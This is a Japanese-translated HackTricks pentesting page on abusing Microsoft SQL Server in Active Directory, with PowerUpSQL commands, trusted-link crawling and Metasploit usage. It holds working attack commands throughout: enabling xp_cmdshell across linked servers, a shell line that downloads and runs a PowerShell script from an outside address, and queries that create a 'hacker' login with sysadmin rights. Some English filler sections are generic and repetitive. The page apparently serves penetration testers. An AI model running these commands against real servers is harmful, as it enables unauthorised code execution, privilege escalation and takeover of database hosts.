hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
2023-07-07 23:42:27 +00:00

22 KiB
Raw Blame History

MSSQL ADの悪用

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

MSSQL列挙/検出

この場合、PowerUpSQLというPowerShellモジュールが非常に便利です。

Import-Module .\PowerupSQL.psd1

ドメインセッションなしでネットワークから列挙する

If you have network access to an Active Directory (AD) environment but do not have a domain session, you can still perform enumeration to gather information about the AD infrastructure. This can be useful for reconnaissance purposes or when conducting a penetration test.

以下の手法を使用して、ドメインセッションなしでネットワークからActive DirectoryAD環境の情報を収集することができます。これは、偵察目的やペネトレーションテストを実施する際に役立ちます。

Enumerating SQL Server Instances

MSSQLPing

The MSSQLPing tool can be used to identify SQL Server instances on the network. It sends a UDP packet to port 1434 and listens for the response. This can help identify potential targets for further enumeration.

MSSQLPingツールは、ネットワーク上のSQL Serverインスタンスを特定するために使用できます。ポート1434にUDPパケットを送信し、応答を待ちます。これにより、さらなる列挙の対象となるポテンシャルなターゲットを特定することができます。

SQL Server Browser Service

The SQL Server Browser service listens on UDP port 1434 and provides information about SQL Server instances running on the network. By querying this service, you can obtain details such as the instance name, version, and TCP port number.

SQL Server Browserサービスは、UDPポート1434で待ち受けており、ネットワーク上で実行されているSQL Serverインスタンスに関する情報を提供します。このサービスにクエリを送信することで、インスタンス名、バージョン、およびTCPポート番号などの詳細を取得できます。

SQL Server Information Gathering

Once you have identified SQL Server instances, you can use various techniques to gather information from them. This includes querying the sys.databases table to obtain a list of databases, querying the sys.tables table to obtain a list of tables, and querying the sys.columns table to obtain information about columns within a table.

SQL Serverインスタンスを特定したら、さまざまな手法を使用して情報を収集することができます。これには、sys.databasesテーブルにクエリを送信してデータベースの一覧を取得したり、sys.tablesテーブルにクエリを送信してテーブルの一覧を取得したり、sys.columnsテーブルにクエリを送信してテーブル内の列に関する情報を取得したりすることが含まれます。

Enumerating LDAP

LDAP Enumeration Tools

There are several tools available for enumerating LDAP information from the network. These tools can be used to query the AD directory and gather information about users, groups, computers, and other objects.

ネットワークからLDAP情報を列挙するためには、いくつかのツールが利用できます。これらのツールを使用してADディレクトリにクエリを送信し、ユーザー、グループ、コンピューター、およびその他のオブジェクトに関する情報を収集することができます。

LDAP Enumeration Techniques

Some common LDAP enumeration techniques include querying the rootDSE object to obtain the default naming context, querying the userAccountControl attribute to identify disabled accounts, and querying the memberOf attribute to identify group memberships.

一般的なLDAP列挙の手法には、デフォルトの名前付けコンテキストを取得するためにrootDSEオブジェクトにクエリを送信する方法、無効なアカウントを特定するためにuserAccountControl属性にクエリを送信する方法、およびグループのメンバーシップを特定するためにmemberOf属性にクエリを送信する方法があります。

LDAP Enumeration Scripts

There are also various scripts available that automate the LDAP enumeration process. These scripts can be useful for quickly gathering information about the AD environment.

LDAP列挙プロセスを自動化するさまざまなスクリプトも利用できます。これらのスクリプトは、AD環境に関する情報を迅速に収集するのに役立ちます。

Enumerating SMB

SMB Enumeration Tools

Several tools can be used to enumerate SMB information from the network. These tools can be used to query SMB shares, gather information about file systems, and identify potential vulnerabilities.

ネットワークからSMB情報を列挙するためには、いくつかのツールが利用できます。これらのツールを使用してSMB共有にクエリを送信し、ファイルシステムに関する情報を収集し、潜在的な脆弱性を特定することができます。

SMB Enumeration Techniques

Some common SMB enumeration techniques include querying the net share command to obtain a list of shared resources, querying the net view command to obtain a list of available servers, and querying the smbclient command to interact with SMB shares.

一般的なSMB列挙の手法には、共有リソースの一覧を取得するためにnet shareコマンドにクエリを送信する方法、利用可能なサーバーの一覧を取得するためにnet viewコマンドにクエリを送信する方法、およびSMB共有との対話のためにsmbclientコマンドにクエリを送信する方法があります。

SMB Enumeration Scripts

There are also scripts available that automate the SMB enumeration process. These scripts can be used to quickly gather information about SMB shares and identify potential vulnerabilities.

SMB列挙プロセスを自動化するスクリプトも利用できます。これらのスクリプトを使用して、SMB共有に関する情報を迅速に収集し、潜在的な脆弱性を特定することができます。

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

ドメイン内からの列挙

When conducting a penetration test or security assessment, it is important to gather as much information as possible about the target Active Directory (AD) environment. Enumerating from inside the domain allows for a deeper understanding of the AD infrastructure and potential vulnerabilities that can be exploited.

以下の手法を使用して、ドメイン内からの列挙を行います。

1. Active Directory Enumeration

Active Directory enumeration involves gathering information about the AD domain, including users, groups, computers, and other objects. This can be done using various tools such as net commands, PowerShell scripts, or specialized enumeration tools like BloodHound.

2. Service Principal Name (SPN) Enumeration

Service Principal Names (SPNs) are used to uniquely identify services running on computers in a domain. Enumerating SPNs can provide valuable information about the services available in the AD environment. Tools like setspn can be used to enumerate SPNs.

3. SQL Server Enumeration

If SQL Server is running in the AD environment, enumerating SQL Server instances can provide additional attack vectors. Tools like sqlcmd or mssql-cli can be used to connect to SQL Server and gather information about databases, users, and other objects.

4. LDAP Enumeration

LDAP (Lightweight Directory Access Protocol) enumeration involves querying the AD directory for information about users, groups, and other objects. Tools like ldapsearch or ADExplorer can be used to perform LDAP enumeration.

5. SMB Enumeration

SMB (Server Message Block) enumeration involves gathering information about shared resources, such as file shares and printers, in the AD environment. Tools like smbclient or enum4linux can be used to enumerate SMB shares.

By enumerating from inside the domain, an attacker can gain valuable insights into the AD environment and identify potential vulnerabilities that can be exploited to further compromise the network.

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

MSSQLの基本的な悪用

データベースへのアクセス

MSSQLデータベースへのアクセスを得るために、以下の手法を使用することができます。

  1. デフォルトのユーザー名とパスワードを使用する: MSSQLでは、デフォルトのユーザー名とパスワードが設定されている場合があります。これらの情報を使用してログインを試みることができます。

  2. SQLインジェクションを利用する: アプリケーションがMSSQLデータベースに対してSQLクエリを実行する際に、不正な入力を注入することでデータベースにアクセスすることができます。

  3. データベースの認証情報を盗む: サーバー上のファイルや設定からデータベースの認証情報を盗むことができます。これには、構成ファイルやログファイルの調査が含まれます。

  4. データベースの脆弱性を悪用する: MSSQLデータベースには、脆弱性が存在する場合があります。これらの脆弱性を悪用してデータベースにアクセスすることができます。

  5. データベースのバックアップファイルを利用する: バックアップファイルには、データベースへのアクセスに必要な情報が含まれている場合があります。これらのバックアップファイルを利用してデータベースにアクセスすることができます。

以上の手法を使用して、MSSQLデータベースへのアクセスを得ることができます。ただし、これらの手法は合法的な目的のためにのみ使用されるべきです。

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

MSSQLホスト内でコマンドを実行することも可能かもしれません。

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

MSSQL基本的なハッキングトリック

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

MSSQL信頼されたリンク

もしMSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合、ユーザーが信頼されたデータベースに特権を持っている場合、彼は他のインスタンスでもクエリを実行するための信頼関係を利用することができます。この信頼関係はチェーン化されることがあり、ユーザーはいくつかの設定ミスのあるデータベースを見つけることができるかもしれません。

データベース間のリンクはフォレストトラストを超えても機能します。

Powershellの悪用

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv Verbose Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

Metasploitを使用して、信頼できるリンクを簡単にチェックすることができます。

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

metasploitはMSSQLでopenquery()関数のみを悪用しようとします(したがって、openquery()でコマンドを実行できない場合は、コマンドを実行するためにEXECUTEメソッドを手動で試す必要があります。詳細は以下を参照してください。)

手動 - Openquery()

Linuxからは、sqshmssqlclient.pyを使用してMSSQLコンソールシェルを取得できます。

Windowsからは、HeidiSQLのようなMSSQLクライアントを使用して、リンクを見つけてコマンドを手動で実行することもできます。

Windows認証を使用してログイン:

信頼できるリンクの検索

select * from master..sysservers

信頼できるリンクでクエリを実行する

リンクを介してクエリを実行します(例:新しいアクセス可能なインスタンスでさらにリンクを見つける)。

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

{% hint style="warning" %} ダブルクォーテーションとシングルクォーテーションが使用されている場所を確認してください。その方法で使用することが重要です。 {% endhint %}

これらの信頼されたリンクチェーンは手動で永遠に続けることができます。

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

もしopenquery()からexec xp_cmdshellのようなアクションを実行できない場合は、EXECUTEメソッドを使用してみてください。

マニュアル - EXECUTE

EXECUTEを使用して、信頼されたリンクを悪用することもできます。

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

ローカル特権昇格

MSSQLローカルユーザーは通常、**SeImpersonatePrivilege**と呼ばれる特別な特権を持っています。これにより、アカウントは「認証後にクライアントをなりすます」ことができます。

多くの著者が考案した戦略は、システムサービスを強制して、攻撃者が作成した不正なサービスまたは中間者サービスに認証させることです。この不正なサービスは、システムサービスが認証しようとしている間に、システムサービスをなりすますことができます。

SweetPotatoには、これらのさまざまなテクニックが収集されており、Beaconのexecute-assemblyコマンドを介して実行することができます。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥